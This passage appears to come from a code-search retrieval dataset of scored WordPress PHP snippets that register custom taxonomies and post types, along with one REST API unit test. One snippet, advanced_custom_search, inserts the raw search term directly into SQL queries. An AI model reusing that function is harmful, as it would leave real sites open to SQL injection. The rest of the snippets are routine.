),\r\n\t\t\t'all_items' => __( 'All Sessions', 'spkquest' ),\r\n\t\t\t'parent_item' => __( 'Parent Session', 'spkquest' ),\r\n\t\t\t'parent_item_colon' => __( 'Parent Session:', 'spkquest' ),\r\n\t\t\t'new_item_name' => __( 'New Session Name', 'spkquest' ),\r\n\t\t\t'add_new_item' => __( 'Add New Session', 'spkquest' ),\r\n\t\t\t'edit_item' => __( 'Edit Session', 'spkquest' ),\r\n\t\t\t'update_item' => __( 'Update Session', 'spkquest' ),\r\n\t\t\t'view_item' => __( 'View Session', 'spkquest' ),\r\n\t\t\t'separate_items_with_commas' => __( 'Separate sessions with commas', 'spkquest' ),\r\n\t\t\t'add_or_remove_items' => __( 'Add or remove sessions', 'spkquest' ),\r\n\t\t\t'choose_from_most_used' => __( 'Choose from the most used', 'spkquest' ),\r\n\t\t\t'popular_items' => __( 'Popular Sessions', 'spkquest' ),\r\n\t\t\t'search_items' => __( 'Search Sessions', 'spkquest' ),\r\n\t\t\t'not_found' => __( 'Not Found', 'spkquest' ),\r\n\t\t\t'no_terms' => __( 'No Sessions', 'spkquest' ),\r\n\t\t\t'items_list' => __( 'Sessions list', 'spkquest' ),\r\n\t\t\t'items_list_navigation' => __( 'Sessions list navigation', 'spkquest' ),\r\n\t\t);\r\n\t\t$args = array(\r\n\t\t\t'labels' => $labels,\r\n\t\t\t'hierarchical' => true,\r\n\t\t\t'public' => false,\r\n\t\t\t'show_ui' => true,\r\n\t\t\t'show_admin_column' => true,\r\n\t\t\t'show_in_nav_menus' => false,\r\n\t\t\t'show_tagcloud' => false,\r\n\t\t);\r\n\t\tregister_taxonomy( 'session', array( 'speaker_question' ), $args );\r\n\t}", "title": "" }, { "docid": "e1632f882c16e7a3c79bdba082329112", "score": "0.60264647", "text": "function wr_portfolio_taxonomies(){\n\t$labels = array(\n\t\t'name' => 'Types Portfolio',\n\t\t'singular_name' => 'Type Portfolio',\n\t\t'search_items' => 'Search Types Portfolio',\n\t\t'all_items' => 'All Types Portfolio',\n\t\t'parent_item' => 'Parent Type Portfolio',\n\t\t'parent_item_colon' => 'Parent Type Portfolio:',\n\t\t'edit_item' => 'Edit Type Portfolio',\n\t\t'update_item' => 'Update Type Portfolio',\n\t\t'add_new_item' => 'Add New Type Portfolio',\n\t\t'new_item_name' => 'New Type Portfolio Name',\n\t\t'menu_name' => 'Types Portfolio'\n\t);\n\n\t$args = array(\n\t\t'hierarchical' => true,\n\t\t'labels' => $labels,\n\t\t'show_ui' => true,\n\t\t'show_admin_column' => true,\n\t\t'query_var' => true,\n\t\t'rewrite' => array('slug' => 'type_portfolio')\n\t);\n\n\tregister_taxonomy( 'type_portfolio', array('portfolio'), $args );\n}", "title": "" }, { "docid": "b0092770a5ebe76f4264427f905acc28", "score": "0.6010821", "text": "function register_fablabs_post_type () {\n\t$labels = array(\n 'name' => _x( 'Fab Labs', 'post type general name', 'additive_tcp' ),\n 'singular_name' => _x( 'Fab Lab', 'post type singular name', 'additive_tcp' ),\n 'menu_name' => _x( 'Fab Labs', 'admin menu', 'additive_tcp' ),\n 'name_admin_bar' => _x( 'Fab Lab', 'add new on admin bar', 'additive_tcp' ),\n 'add_new' => _x( 'Add New', 'fablab', 'additive_tcp' ),\n 'add_new_item' => __( 'Add New Fab Lab', 'additive_tcp' ),\n 'new_item' => __( 'New Fab Lab', 'additive_tcp' ),\n 'edit_item' => __( 'Edit Fab Lab', 'additive_tcp' ),\n 'view_item' => __( 'View Fab Lab', 'additive_tcp' ),\n 'all_items' => __( 'All Fab Labs', 'additive_tcp' ),\n 'search_items' => __( 'Search Fab Labs', 'additive_tcp' ),\n 'parent_item_colon' => __( 'Parent Fab Lab:', 'additive_tcp' ),\n 'not_found' => __( 'No fab labs found.', 'additive_tcp' ),\n 'not_found_in_trash' => __( 'No fab labs found in Trash.', 'additive_tcp' )\n );\n\tregister_post_type('additive_fab_lab', array(\n\t\t'labels' => $labels,\n\t\t'description' => 'Fab Labs which will appear on the Fab Labs page.',\n\t\t'public' => true,\n\t\t'hierarchical' => false,\n\t\t'capability_type' => 'post',\n\t\t'supports' => array('title', 'editor', 'custom-fields', 'thumbnail')\n\t));\n}", "title": "" }, { "docid": "bcd38012ee5943bdb558a9d6cb3b7381", "score": "0.5984969", "text": "public function register_taxonomies() {\n /* Set up the arguments for the portfolio taxonomy. */\n $args = array(\n 'public' => true,\n 'show_ui' => true,\n 'show_in_nav_menus' => true,\n 'show_tagcloud' => true,\n 'show_admin_column' => true,\n 'hierarchical' => true,\n 'query_var' => 'portfolio',\n 'show_in_rest' => true,\n\n /* The rewrite handles the URL structure. */\n 'rewrite' => array(\n 'slug' => trim( option::get( 'portfolio_base' ) )\n ? option::get( 'portfolio_base' )\n : 'portfolio',\n 'with_front' => false,\n 'hierarchical' => false,\n 'ep_mask' => EP_NONE\n ),\n\n /* Labels used when displaying taxonomy and terms. */\n 'labels' => array(\n 'name' => __( 'Portfolios', 'wpzoom' ),\n 'singular_name' => __( 'Portfolio', 'wpzoom' ),\n 'menu_name' => __( 'Portfolios', 'wpzoom' ),\n 'name_admin_bar' => __( 'Portfolio', 'wpzoom' ),\n 'search_items' => __( 'Search Portfolios', 'wpzoom' ),\n 'popular_items' => __( 'Popular Portfolios', 'wpzoom' ),\n 'all_items' => __( 'All Portfolios', 'wpzoom' ),\n 'edit_item' => __( 'Edit Portfolio', 'wpzoom' ),\n 'view_item' => __( 'View Portfolio', 'wpzoom' ),\n 'update_item' => __( 'Update Portfolio', 'wpzoom' ),\n 'add_new_item' => __( 'Add New Portfolio', 'wpzoom' ),\n 'new_item_name' => __( 'New Portfolio Name', 'wpzoom' ),\n 'separate_items_with_commas' => __( 'Separate portfolios with commas', 'wpzoom' ),\n 'add_or_remove_items' => __( 'Add or remove portfolios', 'wpzoom' ),\n 'choose_from_most_used' => __( 'Choose from the most used portfolios', 'wpzoom' ),\n )\n );\n\n /* Register the 'portfolio' taxonomy. */\n register_taxonomy( 'portfolio', array( 'portfolio_item' ), $args );\n }", "title": "" }, { "docid": "65a53a3ec0a712e93592ee576831e35c", "score": "0.59785056", "text": "function add_educational_audience() {\n\t$types = array('post','page','attachment','nav_menu_item', 'learning_resource');\n register_taxonomy('asn_educational_audience', $types, array(\n 'hierarchical' => false,\n 'labels' => array(\n 'name' => _x( 'Educational Audience', 'taxonomy general name' ),\n 'singular_name' => _x( 'Educational Audience', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Educational Audiences' ),\n 'all_items' => __( 'All Educational Audiences' ),\n 'parent_item' => __( 'Parent Educational Audience' ),\n 'parent_item_colon' => __( 'Parent Educational Audience:' ),\n 'edit_item' => __( 'Edit Educational Audience' ),\n 'update_item' => __( 'Update Educational Audience' ),\n 'add_new_item' => __( 'Add New Educational Audience' ),\n 'new_item_name' => __( 'New Educational Audience Name' ),\n 'menu_name' => __( 'Educational Audience' ),\n ),\n //Slugs used for this taxonomy\n 'rewrite' => array(\n 'slug' => 'educational_audience', \n 'with_front' => false,\n 'hierarchical' => false \n ),\n ));\n}", "title": "" }, { "docid": "bc20ade48127ed9dbf951f73470f027f", "score": "0.59772444", "text": "public function test_create_membership_with_taxonomies() {\n\t\twp_set_current_user( $this->user_allowed );\n\t\t$taxonomies = array(\n\t\t\t'categories' => array(\n\t\t\t\t1,\n\t\t\t\t2,\n\t\t\t\t3,\n\t\t\t),\n\t\t\t'tags' => array(\n\t\t\t\t6,\n\t\t\t\t4,\n\t\t\t\t8,\n\t\t\t),\n\t\t);\n\n\t\t$membership_args = array_merge(\n\t\t\t$this->sample_membership_args,\n\t\t\t$taxonomies\n\t\t);\n\n\t\t$request = new WP_REST_Request( 'POST', $this->route );\n\t\t$request->set_body_params( $membership_args );\n\t\t$response = $this->server->dispatch( $request );\n\n\t\t// Terms have not ben created. We expect the membership is created with empty taxonomies.\n\t\t$this->assertEquals( 201, $response->get_status() );\n\t\t$response_data = $response->get_data();\n\t\tforeach ( $taxonomies as $tax => $tid ) {\n\t\t\t$this->assertEquals( array(), $response_data[ $tax ] );\n\t\t}\n\n\t\t// let's create the terms.\n\t\t$taxonomies = array(\n\t\t\t'categories' => $this->factory()->term->create_many(\n\t\t\t\t3,\n\t\t\t\tarray(\n\t\t\t\t\t'taxonomy' => 'membership_cat',\n\t\t\t\t)\n\t\t\t),\n\t\t\t'tags' => $this->factory()->term->create_many(\n\t\t\t\t3,\n\t\t\t\tarray(\n\t\t\t\t\t'taxonomy' => 'membership_tag',\n\t\t\t\t)\n\t\t\t),\n\t\t);\n\t\t$membership_args = array_merge(\n\t\t\t$this->sample_membership_args,\n\t\t\t$taxonomies\n\t\t);\n\t\t$request->set_body_params( $membership_args );\n\t\t$response = $this->server->dispatch( $request );\n\n\t\t// Terms have been created. We expect the membership is created with taxonomies set.\n\t\t$this->assertEquals( 201, $response->get_status() );\n\t\t$response_data = $response->get_data();\n\t\tforeach ( $taxonomies as $tax => $tid ) {\n\t\t\t$this->assertEquals( $tid, $response_data[ $tax ] );\n\t\t}\n\t}", "title": "" }, { "docid": "e0cd2b36f08948854afe6a6d0288e355", "score": "0.59726405", "text": "function create_new_topic_index() {\n\t// Add new taxonomy\n $types = array('post','page','attachment','nav_menu_item', 'learning_resource');\n register_taxonomy('asn_topic_index', $types, array(\n 'hierarchical' => true,\n 'labels' => array(\n 'name' => _x( 'ASN Topic Index', 'taxonomy general name' ),\n 'singular_name' => _x( 'Topic', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Topics' ),\n 'all_items' => __( 'All Topics' ),\n 'parent_item' => __( 'Parent Topic' ),\n 'parent_item_colon' => __( 'Parent Topic:' ),\n 'edit_item' => __( 'Edit Topic' ),\n 'update_item' => __( 'Update Topic' ),\n 'add_new_item' => __( 'Add New Topic' ),\n 'new_item_name' => __( 'New Topic Name' ),\n 'menu_name' => __( 'Topic Index' ),\n ),\n //Slugs used for this taxonomy\n 'rewrite' => array(\n 'slug' => 'topic_index', \n 'with_front' => false,\n 'hierarchical' => true \n ),\n ));\n}", "title": "" }, { "docid": "beae63116230d4d761e12239ee679ceb", "score": "0.5970763", "text": "function register_post_types() {\n register_post_type( 'projects', array(\n 'labels' => array(\n 'name' => __( 'Projects' ),\n 'singular_name' => __( 'Project' ),\n 'menu_name' => 'Projects'\n ),\n 'menu_position' => 10,\n 'menu_icon' => 'dashicons-welcome-view-site',\n 'hierarchical' => false,\n 'public' => true,\n 'show_ui' => true,\n 'publicly_queryable' => true,\n 'has_archive' => true,\n 'show_in_nav_menus' => true,\n 'exclude_from_search' => false,\n // 'rewrite' => array('slug' => 'agenda'),\n // 'taxonomies' => 'array('category')',\n 'supports' => array('revisions', 'title','menu_order', 'page-attributes')\n )\n );\n\n \t// Register Custom Taxonomy\n \tfunction register_taxonomies() {\n register_taxonomy( 'project-cat', array( 'projects' ), array(\n 'labels' => array(\n 'name' => 'Projects Categories',\n 'singular_name' => 'Project Category',\n 'menu_name' => 'Projects Categories'\n ),\n 'hierarchical' => true,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n )\n );\n }\n \n // Setup option pages\n function option_page() {\n acf_add_options_page(\n array(\n 'page_title' => 'Options',\n 'menu_title' => 'Options',\n 'menu_slug' => 'project-options',\n 'capability' => 'edit_posts',\n 'redirect' => false\n )\n );\n }\n \n // Register a new image size.\n // add_image_size( string $name, int $width, int $height, bool|array $crop = false )\n // ex. add_image_size( 'custom-size', 220, 180, false );\n // If false (default), images will be scaled, not cropped.\n // If true, images will be cropped to the specified dimensions using center positions.\n //Activate YoImages plugin to edit sizes that are set on true\n function register_image_sizes(){\n // Defined in CMS\n // thumbnail - 150, 150, true\n // medium - 300, 300, false\n // large - 1024, 1024, false\n \n // Additional sizes\n // FORCE CROP\n add_image_size('slider', 1400, 586, true);\n add_image_size('column', 437, 350, true);\n add_image_size('event', 130, 130, true);\n add_image_size('lightbox-preview-hor', 300, 225, true);\n add_image_size('lightbox-preview-ver', 225, 300, true);\n \n // NO CROP\n // add_image_size('poster', 1000, 500, false);\n // add_image_size('content', 1000, 1000, false);\n }\n \n\t// Set wysiwyg editor height\n\tfunction wptiny($initArray){\n\t\t$initArray['height'] = '150px';\n\t\treturn $initArray;\n\t}\n\n\t// Hide the adminbar for the front side of the website\n\tfunction my_function_admin_bar(){ \n\t\treturn false; \n\t}\n\n\t// Add svg image support\n\tfunction cc_mime_types($mimes) {\n\t\t$mimes['svg'] = 'image/svg+xml';\n\t\treturn $mimes;\n }\n \n /**\n\t * [advanced_custom_search search that encompasses ACF/advanced custom fields and taxonomies and split expression before request]\n\t * @param [query-part/string] $where [the initial \"where\" part of the search query]\n\t * @param [object] $wp_query []\n\t * @return [query-part/string] $where [the \"where\" part of the search query as we customized]\n\t * see https://vzurczak.wordpress.com/2013/06/15/extend-the-default-wordpress-search/\n\t * credits to Vincent Zurczak for the base query structure/spliting tags section\n\t */\n\tfunction advanced_custom_search( $where, $wp_query ) {\n\t\tglobal $wpdb;\n\n\t\tif ( empty( $where ))\n\t\t\treturn $where;\n\n\t\t// get search expression\n\t\t$terms = $wp_query->query_vars[ 's' ];\n\n\t\t// explode search expression to get search terms\n\t\t$exploded = explode( ' ', $terms );\n\t\tif( $exploded === FALSE || count( $exploded ) == 0 )\n\t\t\t$exploded = array( 0 => $terms );\n\n\t\t// reset search in order to rebuilt it as we whish\n\t\t$where = '';\n\n\t\t// get searcheable_acf, a list of advanced custom fields you want to search content in\n\t\t$list_searcheable_acf = list_searcheable_acf();\n\t\t// foreach( $exploded as $tag ) :\n\t\t\t$where .= \"\n\t\t\tAND (\n\t\t\t\t(f_cms_posts.post_title LIKE '%$terms%')\n\t\t\t\tOR (f_cms_posts.post_content LIKE '%$terms%')\n\t\t\t\tOR EXISTS (\n\t\t\t\tSELECT * FROM f_cms_postmeta\n\t\t\t\t\tWHERE post_id = f_cms_posts.ID\n\t\t\t\t\t\tAND (\";\n\t\t\tforeach ($list_searcheable_acf as $searcheable_acf) :\n\t\t\tif ($searcheable_acf == $list_searcheable_acf[0]):\n\t\t\t\t$where .= \" (meta_key LIKE '%\" . $searcheable_acf . \"%' AND meta_value LIKE '%$terms%') \";\n\t\t\telse :\n\t\t\t\t$where .= \" OR (meta_key LIKE '%\" . $searcheable_acf . \"%' AND meta_value LIKE '%$terms%') \";\n\t\t\tendif;\n\t\t\tendforeach;\n\t\t\t\t$where .= \")\n\t\t\t\t)\n\t\t\t\tOR EXISTS (\n\t\t\t\tSELECT * FROM f_cms_comments\n\t\t\t\tWHERE comment_post_ID = f_cms_posts.ID\n\t\t\t\t\tAND comment_content LIKE '%$terms%'\n\t\t\t\t)\n\t\t\t\tOR EXISTS (\n\t\t\t\tSELECT * FROM f_cms_terms\n\t\t\t\tINNER JOIN f_cms_term_taxonomy\n\t\t\t\t\tON f_cms_term_taxonomy.term_id = f_cms_terms.term_id\n\t\t\t\tINNER JOIN f_cms_term_relationships\n\t\t\t\t\tON f_cms_term_relationships.term_taxonomy_id = f_cms_term_taxonomy.term_taxonomy_id\n\t\t\t\tWHERE (\n\t\t\t\t\ttaxonomy = 'post_tag'\n\t\t\t\t\t\tOR taxonomy = 'category'\n\t\t\t\t\t)\n\t\t\t\t\tAND object_id = f_cms_posts.ID\n\t\t\t\t\tAND f_cms_terms.name LIKE '%$terms%'\n\t\t\t\t)\n\t\t\t)\";\n\t\t// endforeach;\n\t\treturn $where;\n\t}\n\n\n }", "title": "" }, { "docid": "b93d4c5b597a8704053d8825fb0ad6de", "score": "0.59660316", "text": "function add_custom_taxonomies()\n{\n register_taxonomy('venue',\n array('productions', 'events'),\n array(\n // Hierarchical taxonomy (like categories)\n 'hierarchical' => true,\n // This array of options controls the labels displayed in the WordPress Admin UI\n 'labels' => array(\n 'name' => _x('Venues', 'taxonomy general name'),\n 'singular_name' => _x('Venue', 'taxonomy singular name'),\n 'search_items' => __('Search Venue'),\n 'all_items' => __('All Venues'),\n 'parent_item' => __('Parent Venue'),\n 'parent_item_colon' => __('Parent Venue:'),\n 'edit_item' => __('Edit Venue'),\n 'update_item' => __('Update Venue'),\n 'add_new_item' => __('Add New Venue'),\n 'new_item_name' => __('New Venue Name'),\n 'menu_name' => __('Venues'),\n ),\n // Control the slugs used for this taxonomy\n 'rewrite' => array(\n 'slug' => 'venues', // This controls the base slug that will display before each term\n 'with_front' => false, // Don't display the category base before \"/venues/\"\n 'hierarchical' => true // This will allow URL's like \"/locations/boston/cambridge/\"\n ),\n ));\n // Add new \"Status\" taxonomy to Posts\n \n register_taxonomy('flag',\n array('productions'),\n array(\n // Hierarchical taxonomy (like categories)\n 'hierarchical' => true,\n // This array of options controls the labels displayed in the WordPress Admin UI\n 'labels' => array(\n 'name' => _x('Flags', 'taxonomy general name'),\n 'singular_name' => _x('Flag', 'taxonomy singular name'),\n 'search_items' => __('Search Flag'),\n 'all_items' => __('All Flags'),\n 'parent_item' => __('Parent Flag'),\n 'parent_item_colon' => __('Parent Flag:'),\n 'edit_item' => __('Edit Flag'),\n 'update_item' => __('Update Flag'),\n 'add_new_item' => __('Add New Flag'),\n 'new_item_name' => __('New Flag Name'),\n 'menu_name' => __('Flags'),\n ),\n // Control the slugs used for this taxonomy\n 'rewrite' => array(\n 'slug' => 'flags', // This controls the base slug that will display before each term\n 'with_front' => false, // Don't display the category base before \"/venues/\"\n 'hierarchical' => true // This will allow URL's like \"/locations/boston/cambridge/\"\n ),\n ));\n register_taxonomy('reviewer',\n array('reviews'),\n array(\n // Hierarchical taxonomy (like categories)\n 'hierarchical' => true,\n // This array of options controls the labels displayed in the WordPress Admin UI\n 'labels' => array(\n 'name' => _x('Reviewers', 'taxonomy general name'),\n 'singular_name' => _x('Reviewer', 'taxonomy singular name'),\n 'search_items' => __('Search Reviewer'),\n 'all_items' => __('All Reviewers'),\n 'parent_item' => __('Parent Reviewer'),\n 'parent_item_colon' => __('Parent Reviewer:'),\n 'edit_item' => __('Edit Reviewer'),\n 'update_item' => __('Update Reviewer'),\n 'add_new_item' => __('Add New Reviewer'),\n 'new_item_name' => __('New Reviewer Name'),\n 'menu_name' => __('Reviewers'),\n ),\n // Control the slugs used for this taxonomy\n 'rewrite' => array(\n 'slug' => 'reviewers', // This controls the base slug that will display before each term\n 'with_front' => false, // Don't display the category base before \"/venues/\"\n 'hierarchical' => true // This will allow URL's like \"/locations/boston/cambridge/\"\n ),\n ));\n}", "title": "" }, { "docid": "c6e03655aab3bc3c08c41f106a595d06", "score": "0.5950421", "text": "function survey_slider_create_tax() {\n\tregister_taxonomy(\n\t\t'qgroup',\n\t\t'survey_slider',\n\t\tarray(\n\t\t\t'label' => __( 'Group Questions' ),\n\t\t\t'rewrite' => array( 'slug' => 'qgroup' ),\n\t\t\t'hierarchical' => true,\n\t\t)\n\t);\n}", "title": "" }, { "docid": "7601393c10115c02f36df08247c56e63", "score": "0.59323967", "text": "function create_cptcat_taxonomies() {\n\t// Add new taxonomy, make it hierarchical (like CATEGORIES).\n\t// Labels for the new taxonomy.\n\t$names_breed = array(\n\t\t'name' => _x( 'Breeds', 'taxonomy general name' ),\n\t\t'singular_name' => _x( 'Breed', 'taxonomy singular name' ),\n\t\t'search_items' => __( 'Search Breeds' ),\n\t\t'all_items' => __( 'All Breeds' ),\n\t\t'parent_item' => __( 'Parent Breed' ),\n\t\t'parent_item_colon' => __( 'Parent Breed:' ),\n\t\t'edit_item' => __( 'Edit Breed' ),\n\t\t'view_item' => __( 'View Breed' ),\n\t\t'update_item' => __( 'Update Breed' ),\n\t\t'add_new_item' => __( 'Add New Breed' ),\n\t\t'new_item_name' => __( 'New Breed Name' ),\n\t\t'menu_name' => __( 'Breeds' ),\n\t\t'not_found' => __( 'No Breeds found.' ),\n\t\t'no_terms' => __( 'No Breeds' ), /* Used when indiCATing no terms in given taxonomy. Default \"No tags\"/\"No CATegories\". */\n\t\t'items_list_navigation' => __( 'Breeds list navigation' ), /* SR text for pagination on term listing screen. Default \"Tags list navigation\"/\"CATegories list navigation\" */\n\t\t'items_list' => __( 'Breeds list' ), /* SR text for items list on term listing screen. Default \"Tags list\"/\"CATegories list\" */\n\t);\n\t// parameters for the new taxonomy.\n\t$args_breed = array(\n\t\t'hierarchical' => true,\n\t\t'labels' => $names_breed,\n\t\t'show_ui' => true,\n\t\t'show_admin_column' => true,\n\t\t'show_in_rest' => true, // Use true if you want the editor to use Gutenberg.\n\t\t'query_var' => true,\n\t\t'rewrite' => array( 'slug' => 'breeds' ),\n\t);\n\n\tregister_taxonomy( 'breed', array( 'cptcat' ), $args_breed );\n\n\t// Add new taxonomy, NOT hierarchical (like tags).\n\t// Labels for the new taxonomy.\n\t$names_genre = array(\n\t\t'name' => _x( 'Genres', 'taxonomy general name' ),\n\t\t'singular_name' => _x( 'Genre', 'taxonomy singular name' ),\n\t\t'search_items' => __( 'Search Genres' ),\n\t\t'popular_items' => __( 'Popular Genres' ),\n\t\t'all_items' => __( 'All Genres' ),\n\t\t'edit_item' => __( 'Edit Genre' ),\n\t\t'view_item' => __( 'View Genre' ),\n\t\t'update_item' => __( 'Update Genre' ),\n\t\t'add_new_item' => __( 'Add New Genre' ),\n\t\t'new_item_name' => __( 'New Genre Name' ),\n\t\t'separate_items_with_commas' => __( 'Separate Genres with commas' ),\n\t\t'add_or_remove_items' => __( 'Add or remove Genres' ),\n\t\t'choose_from_most_used' => __( 'Choose from the most used Genres' ),\n\t\t'not_found' => __( 'No Genres found.' ),\n\t\t'menu_name' => __( 'Genres' ),\n\t\t'no_terms' => __( 'No Genres' ), /* IndiCATes there are no terms in given taxonomy. Default \"No tags\"/\"No CATegories\". */\n\t\t'items_list_navigation' => __( 'Genres list navigation' ), /* SR text for pagination on term listing screen. Default \"Tags list navigation\"/\"CATegories list navigation\" */\n\t\t'items_list' => __( 'Genres list' ), /* SR text for items list on term listing screen. Default \"Tags list\"/\"CATegories list\" */\n\t);\n\t// parameters for the new taxonomy.\n\t$args_genre = array(\n\t\t'hierarchical' => false,\n\t\t'labels' => $names_genre,\n\t\t'show_ui' => true,\n\t\t'show_admin_column' => true,\n\t\t'show_in_rest' => true, // Use true if you want the editor to use Gutenberg.\n\t\t'update_count_callback' => '_update_post_term_count',\n\t\t'query_var' => true,\n\t\t'rewrite' => array( 'slug' => 'genres' ),\n\t);\n\n\tregister_taxonomy( 'genre', 'cptcat', $args_genre );\n}", "title": "" }, { "docid": "6248d69457e6ff794111055c1ca93840", "score": "0.59310323", "text": "function create_state_hierarchical_taxonomy() {\n \n// Add new taxonomy, make it hierarchical like categories\n//first do the translations part for GUI\n \n $labels = array(\n 'name' => _x( 'States', 'taxonomy general name' ),\n 'singular_name' => _x( 'State', 'taxonomy singular name' ),\n 'search_items' => __( 'Search States' ),\n 'all_items' => __( 'All States' ),\n 'parent_item' => __( 'Parent state' ),\n 'parent_item_colon' => __( 'Parent \tstate:' ),\n 'edit_item' => __( 'Edit state' ), \n 'update_item' => __( 'Update state' ),\n 'add_new_item' => __( 'Add New state' ),\n 'new_item_name' => __( 'New state Name' ),\n 'menu_name' => __( 'states' ),\n ); \n \n// Now register the state taxonomy\n register_taxonomy('states',array('voulunteer'), array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_in_rest' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n //'rewrite' => array( 'slug' => 'state' ),\n\t'rewrite' => array( 'slug' => 'state', 'with_front' => false ),\n ));\n \n}", "title": "" }, { "docid": "6b9145e1fb8d6f0135e0bd94e01d85e8", "score": "0.5928353", "text": "function wp_forfaits() {\n\n\t$labels = array(\n\t\t'name' => _x( 'forfaits', 'Post Type General Name', 'text_domain' ),\n\t\t'singular_name' => _x( 'forfait', 'Post Type Singular Name', 'text_domain' ),\n\t\t'menu_name' => __( 'Forfaits', 'text_domain' ),\n\t\t'name_admin_bar' => __( 'Post Type', 'text_domain' ),\n\t\t'archives' => __( 'Item Archives', 'text_domain' ),\n\t\t'attributes' => __( 'Item Attributes', 'text_domain' ),\n\t\t'parent_item_colon' => __( 'Parent Item:', 'text_domain' ),\n\t\t'all_items' => __( 'Les forfaits', 'text_domain' ),\n\t\t'add_new_item' => __( 'Ajouter un forfait', 'text_domain' ),\n\t\t'add_new' => __( 'Ajouter forfait', 'text_domain' ),\n\t\t'new_item' => __( 'Nouveau forfait', 'text_domain' ),\n\t\t'edit_item' => __( 'Edit forfait', 'text_domain' ),\n\t\t'update_item' => __( 'Update Item', 'text_domain' ),\n\t\t'view_item' => __( 'View Item', 'text_domain' ),\n\t\t'view_items' => __( 'View Items', 'text_domain' ),\n\t\t'search_items' => __( 'Search Item', 'text_domain' ),\n\t\t'not_found' => __( 'Not found', 'text_domain' ),\n\t\t'not_found_in_trash' => __( 'Not found in Trash', 'text_domain' ),\n\t\t'featured_image' => __( 'Featured Image', 'text_domain' ),\n\t\t'set_featured_image' => __( 'Set featured image', 'text_domain' ),\n\t\t'remove_featured_image' => __( 'Remove featured image', 'text_domain' ),\n\t\t'use_featured_image' => __( 'Use as featured image', 'text_domain' ),\n\t\t'insert_into_item' => __( 'Insert into item', 'text_domain' ),\n\t\t'uploaded_to_this_item' => __( 'Uploaded to this item', 'text_domain' ),\n\t\t'items_list' => __( 'Items list', 'text_domain' ),\n\t\t'items_list_navigation' => __( 'Items list navigation', 'text_domain' ),\n\t\t'filter_items_list' => __( 'Filter items list', 'text_domain' ),\n\t);\n\t$args = array(\n\t\t'label' => __( 'forfait', 'text_domain' ),\n\t\t'description' => __( 'les forfaits', 'text_domain' ),\n\t\t'labels' => $labels,\n\t\t'supports' => array( 'title', 'editor', 'thumbnail' ),\n\t\t'taxonomies' => array( 'category', 'post_tag' ),\n\t\t'hierarchical' => false,\n\t\t'public' => true,\n\t\t'show_ui' => true,\n\t\t'show_in_menu' => true,\n\t\t'menu_position' => 5,\n\t\t'show_in_admin_bar' => true,\n\t\t'show_in_nav_menus' => true,\n\t\t'can_export' => true,\n\t\t'has_archive' => true,\n\t\t'exclude_from_search' => false,\n\t\t'publicly_queryable' => true,\n\t\t'capability_type' => 'page',\n\t);\n\tregister_post_type( 'wp_forfaits', $args );\n\n}", "title": "" }, { "docid": "b244997bf07edcc94e62e9872de563dd", "score": "0.59281194", "text": "function kolitech_register_publicity() {\n\n $args = array (\n 'labels' => array (\n 'name' => __( 'Publicity', 'publicity' ),\n 'singular_name' => __( 'Publicity', 'publicity' ),\n ),\n 'description' => 'Add features component',\n 'supports' => array( 'title', 'thumbnail'),\n 'public' => false,\n 'show_ui' => true,\n //'show_in_menu' => 'about-sections',\n 'rewrite' => array('slug' => 'publicity', ),\n 'taxonomies' \t => array(),\n 'menu_icon' => 'dashicons-megaphone',\n );\n\n register_post_type( 'publicity', $args );\n }", "title": "" }, { "docid": "f69dbff848319a2834dbf41d4dda9122", "score": "0.5927312", "text": "function create_genres_taxonomy() {\n\t \n\t $labels = array(\n\t 'name' => _x( 'Genres', 'taxonomy general name' ),\n\t 'singular_name' => _x( 'Genre', 'taxonomy singular name' ),\n\t 'search_items' => __( 'Search Genres' ),\n\t 'popular_items' => __( 'Popular Genres' ),\n\t 'all_items' => __( 'All Genres' ),\n\t 'parent_item' => null,\n\t 'parent_item_colon' => null,\n\t 'edit_item' => __( 'Edit Genre' ), \n\t 'update_item' => __( 'Update Genre' ),\n\t 'add_new_item' => __( 'Add New Genre' ),\n\t 'new_item_name' => __( 'New Genre Name' ),\n\t 'separate_items_with_commas' => __( 'Separate Genres with commas' ),\n\t 'add_or_remove_items' => __( 'Add or remove Genres' ),\n\t 'choose_from_most_used' => __( 'Choose from the most used Genres' ),\n\t 'menu_name' => __( 'Genres' ),\n\t ); \n\t \n\t\t// Now register the non-hierarchical taxonomy like tag\n\t \n\t register_taxonomy('genre','movie',array(\n\t 'hierarchical' => false,\n\t 'labels' => $labels,\n\t 'show_ui' => true,\n\t 'show_in_rest' => true,\n\t 'show_admin_column' => true,\n\t 'update_count_callback' => '_update_post_term_count',\n\t 'query_var' => true,\n\t 'rewrite' => array( 'slug' => 'genre' ),\n\t ));\n\t}", "title": "" }, { "docid": "4e373a9791057e17bef0ffe368bf6ce6", "score": "0.59237325", "text": "private function register_taxonomies()\n {\n $this->register_service($this->get_taxonomy_services(), 'taxonomies');\n }", "title": "" }, { "docid": "46dc9894c0e27264798158051646e7c4", "score": "0.5923592", "text": "function create_marque_taxonomies() {\n // Add new taxonomy, make it hierarchical (like categories)\n $labels = array(\n 'name' => _x( 'Marques', 'taxonomy general name' ),\n 'singular_name' => _x( 'Marque', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Marques' ),\n 'all_items' => __( 'All Marques' ),\n 'parent_item' => __( 'Parent Marque' ),\n 'parent_item_colon' => __( 'Parent Marque:' ),\n 'edit_item' => __( 'Edit Marque' ),\n 'update_item' => __( 'Update Marque' ),\n 'add_new_item' => __( 'Add New Marque' ),\n 'new_item_name' => __( 'New Marque Name' ),\n 'menu_name' => __( 'Marque' ),\n );\n \n $args = array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'marque' ),\n );\n \n register_taxonomy( 'marque', array( 'product' ), $args );\n}", "title": "" }, { "docid": "6f2b6ac3371bd72e3da83774216c6058", "score": "0.59228134", "text": "function create_vanderweb_slides_taxonomy() {\r\n\t$labels = array(\r\n\t\t'name' => __( 'Slider and Gallery - Categories', 'vanderweb' ),\r\n\t\t'singular_name' => __( 'Slider and Gallery - Categories', 'vanderweb' ),\r\n\t\t'search_items' => __( 'Search Categories', 'vanderweb' ),\r\n\t\t'all_items' => __( 'All Categories', 'vanderweb' ),\r\n\t\t'edit_item' => __( 'Edit Category', 'vanderweb' 